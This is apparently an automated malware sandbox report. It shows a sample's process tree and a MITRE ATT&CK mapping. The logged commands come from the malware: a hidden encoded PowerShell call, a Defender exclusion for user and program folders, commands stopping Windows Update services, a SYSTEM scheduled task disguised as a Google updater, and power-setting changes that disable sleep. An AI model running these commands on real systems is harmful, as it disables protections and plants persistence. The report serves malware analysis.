C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:4820

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:3232

C:\Windows\system32\certreq.exe
"C:\Windows\system32\certreq.exe"
1⤵
PID:4064

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
1⤵
PID:764
- C:\Windows\System32\sc.exe
  sc stop dosvc
  2⤵
  - Launches sc.exe
  PID:1796
- C:\Windows\System32\sc.exe
  sc stop bits
  2⤵
  - Launches sc.exe
  PID:1492
- C:\Windows\System32\sc.exe
  sc stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1032
- C:\Windows\System32\sc.exe
  sc stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2904
- C:\Windows\System32\sc.exe
  sc stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:4732

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Windows\TEMP\iacrcjwhmdyc.xml"
1⤵
- Creates scheduled task(s)
PID:1276

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:420
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-ac 0
  2⤵
  PID:4908
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-dc 0
  2⤵
  PID:4912
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-ac 0
  2⤵
  PID:4448
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-dc 0
  2⤵
  PID:4212

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:3956

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe
1⤵
PID:4936

C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
1⤵
PID:988

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry